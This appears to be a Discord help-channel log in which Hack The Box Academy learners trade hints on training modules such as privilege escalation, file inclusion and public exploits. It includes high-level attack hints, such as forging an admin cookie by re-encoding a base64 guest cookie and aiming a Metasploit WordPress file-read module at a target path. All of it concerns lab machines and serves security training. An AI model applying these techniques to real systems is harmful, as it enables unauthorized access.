i was trying to brush up on my sql injection techniques and am doing the sql injection fundamentals. on module page 11, it says to connect to the mysql server, but it didn't provide the connection details. am i missing something?

on the other questions, it gave the password you were supposed to use

oh, nvm. it's the same creds from before

[rustic sage]

Yup, it workew on second try

[oak estuary]

Part of that would depend on your skill level and experience. If you're just starting out and don't have any experience definitely check out the intro to academy module and the learning process module.

Aside from those I'd recommend Linux Fundamentals, Windows fundamentals, and Introduction to networking. Not necessarily in that order but I'd say start off in Linux.

[mystic crescent]

can someone help me with priv esc to root? burnt out lol

[rustic sage]

Which module?

[mystic crescent]

getting started- priv esc

[mystic crescent]

^

[rustic sage]

Did you unzip the file in home directory?

[forest stream]

hi, i don't understand how to write path to my file. I'm using linux, and there is a path to file, but this bits trying to find file with windows path.

[hidden lichen]

Identify one of the non-standard update services running on the host. Submit the full name of the service executable (not the DisplayName) as your answer.

can someone help me

anyone know this? from windows fundamenal

[forest stream]

full name also have file extension)

[hidden lichen]

thank you , i was so close but didnt know about the extension i got it now

[flint moth]

@forest stream Dm I can help

[rustic sage]

join 2v2 Cyber Mayhem

[cinder narwhal]

working on the linux fundamentals got stuck on "Determine what user the ProFTPd server is running under. Submit the username as the answer." am only interested in guidance on how to get the answer. thanks in advance...

[rustic sage]

What port is your http server running on?

[rustic sage]

Im having the same issue.

[wintry iron]

ok @rustic sage I raised a ticket but still no answer ...status is "pending"

[rustic sage]

It looks like only the index and /admin/ directory load forever, rest of them are okay.

[wintry iron]

I see a message "Connecting to 172....." an address that's not in the IP range of the VPN, that was confusing and maybe the cause of the problem, but I really don't know

In the backend any click you make takes a lot of time, impossible to work on it

[rustic sage]

@wintry iron

this is how my index looks like

but when i bruteforced other directories, they worked perfectly fast

[wintry iron]

I beleive is the same for me. I was looking this 'Machine' a few days ago, and can't work anymore because of huge lag in that website. Logged in the backend Ok, did you do that already?

[rustic sage]

not yet, i havent found the password of admin user

[marsh hollow]

Skills Assessment - Web Fuzzing - File Extension. I know there a 3, but my answer isnt correct, please dm for hint

[forest stream]

Thanks, but i already solved it)
It was netcat on port 80

[astral siren]

They have to be in alphabetical order separated by spaces

[potent moss]

Hey - new to HTB and discord. Looking for help on the getting started module.

I'm on the public exploit (wordpress webpage using simple plugin backup) to find the flag.txt.

I've tried metasploit but can't seem to find the answer. I think it has to do with the filepath. Otherwise I tried search sploit and used the URLs provided in there.... I tried deleted the .htaccess and also doing a backup file download.

Can anyone suggest what I'm doing wrong?

[ancient onyx]

It's a good idea to change the filepath in metasploit

[marsh hollow]

@astral siren I tried everything 😭

[astral siren]

Dm me your answer and I'll see what's up

[potent moss]

I tried changing the file path from /etc/passwd (default) to wp-admin or the default apache file path for web servers but still nothing.

I think I'm in the right spot but I'm clearly missing the right filepath (I think lol)

[ancient onyx]

Focus on that file you're searching for

[potent moss]

I also tried /flags.txt but I havent tried just a /... Otherwise I'm not sure if there is a way to generically search for the file?

[ancient onyx]

this is the right way, but check your file name

[potent moss]

Hmm ok - I'll play around with it a little more. Thanks 👍

[potent moss]

Got it. Thank you very much. It wasn't as complicated as I kept thinking it was 🙄

[ancient onyx]

No Problem!

[crimson crown]

not sure if i'm doing the right thing

but the getting started section - service scanning is tripping me up due to the smbshare

[thick swan]

gn guis

[winter bane]

i'm stuck trying to find the config file in linux fundamentals

nm. found it

[flint moth]

I'm stuck on privilege escalation -getting started , I need to get user2 to read a file , Can someone give me a little hint

[distant moth]

Hello everyone!

I'm on Getting Start - Knowledge Check

it takes several minutes to load any page..did overcome so slowly speed?

[true drift]

Can you DM me how you did it cause I'm stuck 😩

[eternal flame]

How to I start this module>

[novel matrix]

@eternal flame what module?

[obsidian hornet]

Hi everyone, someone can give me a clue in module Getting Started/Privilege Escalation? I'm stuck in SSH key part. I don't understand what i need to do after vim id_rsa

[obsidian crown]

How to find out the path to htb-student's mail?

[slate arch]

idk just look around

maybe try to use some of the things they showed you to find files with like which

[obsidian crown]

That's right, the path to the file is in theory, but the path to the email is not indicated anywhere

[slate arch]

yeah youre right it doesnt seem like its there

[eternal flame]

fundamental module. I'm new to discord

[obsidian crown]

That's it, I solved this problem

[still blade]

Hey everyone. I sure it's an easy step I'm missing, but I'm on the "Getting started" module and can't for the life of me change from user1 to user2. Any hints or tips or what I could do? Not looking for the answers but for some guidance towards the solution. Also I tried to get linpeas on the machine and not able to do so. Any suggestions on that?

[still blade]

nvm. Told you I missed something simple.

[elder pike]

Simply try to find a way to see if there is anything that you can run as root

[still blade]

@elder pike thanks. Was able to find the issue. Missed one simple thing. But all fine now. finished the module :).

[royal jay]

++

hi guys, im studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can, someone can give me some clues please

i mean i can't get the admin user for the challenge, someone please help me with some clues

[rustic sage]

newbie question: i try to use netcad command line and when hit enter it doesnt show response only blank lines spawn

i can send ss if needed

[autumn pilot]

You are on Academy, right? What are you trying to nc

[rustic sage]

banner of my targer 206.189.121.131:31681

[autumn pilot]

Okay, but the IP is different from the screenshot

[rustic sage]

I know but I was trying to make it work

because it doesnt return anything

[autumn pilot]

have you tried to use ssh rather nc?

[rustic sage]

no

give me a minute

I don't think user and password was given to me

[autumn pilot]

Which module and section are you currently at

[rustic sage]

module: geting started section: basic tools

[autumn pilot]

The target comes with a port, so maybe the SSH is not on the default port (22)

and can be on a XYZ

[rustic sage]

so the port is a user name?thats the command: ssh 31681@206.189.121.131?

[autumn pilot]

Nope, try nc with the IP and the PORT

there is no need to log in via ssh

[rustic sage]

well it worked now and I thought I did everthing the same earlier. thanks 🙂

[amber condor]

Hey guys. I may be misunderstanding something here.

Im at the "Linux Fundamentals" module, "Working with web services" section.

Do i need to ssh to te specified target system and try to start a http server over npm on it?

Or do i have to play pretend and just enter the command to start one in the answer field?

[unborn yarrow]

Hi guys, please help me. I'm stuck in the Attack Tuning section in the SQLMap Overview module. I have seen the flag in table flag5 but when I paste the result, it is not correct?

[royal jay]

hi guys, im studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[unborn yarrow]

Base64

[royal jay]

when i login with guest credencial i have a cookie, when i decode with base64 i got something like guest_7a2sabc7ss!, i change some like admin_7a2sabc7ss! and encode with base64, and try to get admin/dashboard, i get a new cookie i copy and put it to the answer but it doesnt work, what i did wrong???

[unborn yarrow]

guess username and encode for cookie

[cinder bolt]

I see a lot of people having issues with this one. Only tip you need: ||Don't overthink it. The guest cookie has all that gibberish after it because there are a lot of guests and you need to identify them separately. However, if there is only one admin account, one could deduce that you don't all that specification after it||.

[crisp saddle]

so question: how do you find the answer to this: Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive).... shadow has tried a lot of different commands but none seem to give out a NT version that it accepts...
shadow has tried the following:
||winver
wmic
systeminfo
Get-WmiObject -Class win32-OperatingSystem||

[empty gust]

What is the path to htb-student's home directory

[crisp saddle]

well all paths start from root which is /
for the home folders/directories you go into the /home folder
in there different users have their own folders for their home stuff
from this info you should be able to figure out the path is probably /home/username

[uncut temple]

Where's every users home directory setup?

[crisp saddle]

so anyone else get through this question on the windows fundementals course????

[oak estuary]

Yes, I’ll give you a hint, it’s muuuch simpler than you think it is.

[crisp saddle]

why the heck can't shadow get this right then

they have tried tons of different numbers but none work

soon giving up on this and just letting that 1 cube go to waste

shadow has determined that they are either super stupid or this question is broken

yup just shadow being stupid

[novel matrix]

@tall girder please keep meme images in #583613644294717453.

[tall girder]

ok sorry

[limber turret]

Hi please can anyone give hint on toxic web challenge

[novel matrix]

@limber turret Not here mate. #challenges

[marsh hollow]

i stuck on Skills Assessment - File Inclusion/Directory Traversal - last Question ...can someone give me a hint

[flint moth]

@marsh hollow what you have done so far now?

[rocky yew]

Is anyone able to help with the question on Getting Started > Web Enumeration > Try running some of the web enumeration techniques you learned in this section on the server above, and use the info you get to get the flag?

Have ran gobuster, cURL, whatweb, checked the robots.txt, checked the page source of the index.php, robots.txt and the wordpress page.

Really stuck now, probably missing something simple but went had dinner and came back to try again and still can't find it, anyone able to help please?

[marsh hollow]

still stuck on Skills Assessment - File Inclusion/Directory Traversal - last Question ...can someone give me a hint

[tight glen]

@rocky yew you still struggling?

[rocky yew]

Yeah i have tried a bunch of stuff 😦

[rustic sage]

NEED HELP

@north rapids could you??

[north rapids]

that's quite not the way for asking help

[rustic sage]

ehhh

[north rapids]

learn to be polite

[rustic sage]

sorry it is the language problem

can you help me?

[north rapids]

no sorry i am busy

[rustic sage]

ok..

[north rapids]

but ask your question here and people will catch up with you

you're not explaiing your problem, neither what you did

[rustic sage]

the question is

and i did this

and i found this

what is the index?

[north rapids]

i'm not sure honnestly, i would say the index is the number of the line containing the entry when you do your ls -l

like if you have for example files a,b,c in your directory and you do ls -l , then c would be at index 5 if you start counting from 1 and because ls -l also print the '.' and '..' directories

[rustic sage]

but i typed ls -l and its the same..

[north rapids]

you gave 755 and 755 is the permission of the file, not its index

you should pipe your ls -l to less -SN for example

this will print out the number of line on the left side and then search for sudoers and you would have the index i guess

[rustic sage]

ok let me try it

[north rapids]

but then you might wanna try with either taking into account the '.' '..' directories or not

[rustic sage]

???

[north rapids]

when you count the index

oh no my bad, ls -l doesn't print '.' or '..', it's 'ls -al'

forget what i said about that 😛

[rustic sage]

ok....

[north rapids]

illustration of what i wanted to say :

[rustic sage]

gimme a sec to try it

its still the same

[north rapids]

you have to find the index of the file

so you need at some point to count its position

[rustic sage]

how?

[north rapids]

i told you a way above

there are plenty of other way

be creative

[rustic sage]

ls -al ??

[north rapids]

take your time to read what i said before again

[rustic sage]

ok ...??

[autumn pilot]

Don't seek for the answer from people, if you have read the material you should be able to understand it and answer the question even if you need a little googling

[uncut temple]

Are you still stuck?

if you are, find out what an inode is

[paper idol]

Does anyone know why this happens?
I simply turned the machine on in the browser and the machine asked for updates, and then this appears:

"Failed to fetch https://euro2-emea-mirror.parrot.sh/mirrors/parrot/pool/main/s/ssldump/ssldump_1.4-0kali1_amd64.deb Cannot initiate the connection to euro2-emea-mirror.parrot.sh:443 (2606:4700:3032::6815:3b65). - connect (101: Network is unreachable) Cannot initiate the connection to euro2-emea-mirror.parrot.sh:443 (2606:4700:3034::ac43:aec4). - connect (101: Network is unreachable)"

forget.....ahhahah

[mighty berry]

I was getting this too, and no internet access.

[mighty berry]

I'm obviously missing something

[paper idol]

yh

[autumn solstice]

[pulsar coral]

Im having trouble accessing the linux terminal...The green box doesn't show anymore at the top to open the terminal..Is there another way?!..please help

[urban sage]

Yes. Should be able to click what looks like the start menu, search for terminal, and then select xfce terminal and you should be good to go.

[hybrid knot]

how do you get to select the student subscription to HTB Academy (8$/month)? thanks! (i'm a student)

[astral siren]

not really the correct place for this, but you have to sign up using your student email. it should be automatic if the email is recognized as a valid university email. if it isn't, you'll need to open a support ticket

[fossil axle]

I ran into the same issue. I think it is a bug. Did you happen to find a solution?

[flint moth]

I am stuck on Knowledge Check getting started mode
I have uploaded the LinEnum script on target but I am unable to execute it . Can someone help

[autumn pilot]

make it executable

[flint moth]

@autumn pilot ohhh thanks alot !!!!!!

I forgot the basic thing

[autumn pilot]

Until the absence of FoxyProxy you can set Firefox to send the requests to Burp using the built-in proxy

[cerulean magnet]

Hey I figured this out after searching through the Discord.. it's kinda silly, because it seems like you don't even need to nmap anything.. pm me if you want some help

noticed a few threads here about people being stuck on the public exploits module.. just dm, happy to help.

although one thing I am still not clear about - how are you supposed to decide which service to be exploited? ||technically you can just visit the browser and the answer is there...||

[rustic sage]

Someone knows how i have to submit my answer on this question of Windows fundamentals? "Which Windows NT version is installed on the workstation? (i.e. Windows X - case sensitive)" I typed the correct version number and says "incorrect answer" (100% sure im typing the correct version number)

[distant moth]

can you give one more hint please?

[fossil axle]

Thank you for the help.

[mint lava]

@distant moth dm me

[slate arch]

guys is anyone else having connection problems with getting started: knowledge check? ||When i get a shell with metasploit, all shells but meterpreter simply dont connect and sometimes meterpreter doesnt connect. when i try to use the meterpreter shell command after saying process 1 created the shell never connects. Is this something intentional?||

[true drift]

Alright so I'm doing the Linux course, but I'm stuck on the path to htb-student's mail. I thought it was ||/var/mail|| but it doesn't work

[oak estuary]

Keep in mind some of the answers are case sensitive. Double check your answer.

[true drift]

yup, that's all fine

[oak estuary]

Ok I went back and reviewed the module, your answer isn't correct. You're missing a part of it. Check your commands once again and make sure you're providing the full path.

[ashen anvil]

hello

[high zinc]

@sinful condor up here 😄

[sinful condor]

@high zinc thanks 🙂

can anyone help i am doing linux fundamentals in academy and a i am stuck at a question asking you to find a config file within a range and i keep getting a postgresql file but it seems not to the required file. here is the command i used:
find / -type f -name *.config -newermt 2020-03-03 -size +25k -size -28k -exec ls -la {} ; 2>/dev/null

[high zinc]

I haven't done that particular module, but if you try to make the search a little broader by e.g. removing the date filter or by removing the size filters, which files do you get?

Perhaps it's one of those?

If so, perhaps it's possible to figure out why the command didn't get you the right file (e.g. if the size was off by one or something)

[sinful condor]

i have tried removing the date and i get 36 files and even if i try each file the answer doesnt seem to be one of them

@high zinc not only that there is also a question about finding all the files in the system with the .bak extension and when i enter 2 as an answer is doesnt seem to work

[high zinc]

What about sudo locate @sinful condor?

[sinful condor]

same thing it doesnt make a difference

the result is still 2

[high zinc]

which section is this again?

Wanna take it to DMs? I see what's wrong

[rotund vapor]

Hi people! Could some1 help me with LFI final assesment? I am struggling so hard on this one

[mint lava]

Feel free to DM me

[brittle crest]

Hey boxwala, I would love a nudge in the right direction. Let me tell what i have got thus far. Nmap doesnt pull any up, it says pings are blocked, and the use of -Pn takes to long and access to the server instance times out. Searching exploits in MSF using -name "simple backup" and this pulls up auxiliary/scanner/http/wp_simple_backup_file_read. Running this creates a text file. And using cat path/to/txt displays a bunch of stuff but I cant figure out how to use it to my benefit. Where am I going wrong?

[brittle crest]

@cerulean magnet I figured it out. To those still having issue with Public Exploits, make sure you're running the correct exploit and pointing it to the correct filepath.

[oak estuary]

Looks like you didn’t ssh into the target.

[sinful condor]

@oak estuary fugl helped me thanks

[nimble owl]

sorry i'm very new do i start here?

[wintry iron]

Ientered them a ticket, but no answer since then...just Pending, we will be contacting you... and so... no results. You can solve it with metasploit, the other way, it's impossible by the lag and sh*** site delay

[cerulean magnet]

re-read the question 😉

[cerulean magnet]

yes, you can start with the fundamental modules on HTB Academy

[nimble owl]

How do you do the spawn a target section in HTB academy?

i dont understand the directions

[mighty berry]

there is a "/" missing.

[naive lotus]

Hello all im new to hack the box im currently working on the getting started public exploits portion and i cant figure out where to even begin because im not given a file to start a vpn so do i solve the problem and find the flag in the browser or am i missing something

[cerulean magnet]

why don't you try to spawn a remote instance?

[royal jay]

hi guys, im studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[haughty pelican]

anyone else have ssh connection issues - getting connection timeouts and long periods of no response

[naive lotus]

It doesnt have an option for that

[royal jay]

hi guys, im studying Web Request module and i have problem to resolve the Post challenge, i have de user guest:guest and de target, i have to manipulate the cookies to get admin user, i try but i can't, someone can give me some clues please

[terse gorge]

Hey guys, hope you're doing well. I'm a bit stuck on the Web Requests module on the Requests and Response lesson, when I open Firefox in the workspace instance there is no FoxyProxy extension available there (I can't see it). I see the other extensions like privacy badger, Ublock origin etc but no FoxyProxy? Am I doing something wrong? Thanks a lot.

[royal jay]

you have to install in the add ons option, it is a pluggins, yo can install it

[terse gorge]

Got it, thanks for replying. I installed the FoxyProxy addon now, how do I configure it to add the Burp option to it?

[royal jay]

you only have to open burp suite and configure foxy proxy to ip that burp is intercept (by default is 127.0.0.1:8080), in foxy proxy go to options-->add and configure that ip and port and put a name to your configuration and save it. then select your configuration on foxy proxy and that all, when you navigate all traffic will be intercept by burpsuite

[terse gorge]

ahh I got it now, thank you so much!

[naive lotus]

Okay i hate asking the same question twice but ive been working on this for two days and still don't understand where im going wrong im trying to find the flag for public exploits and there is no button spin up a virtual machine it also doesn't have a vpn key for me to connect to is this one supposed to be found on the site cause the site makes it sound like it supposed to be found in the terminal

[obtuse surge]

Hopefully, this is the right channel for this. In the Getting Started module, in Service Scanning, I am currently trying to get the service running under port 8080, however it returns the service is HTTP-proxy with everything I have tried, however, I don't think this is the correct answer. Any suggestions for how I can solve it? Thank you!

[naive lotus]

try typing -sV dont hold me to that i believe thats the way you type it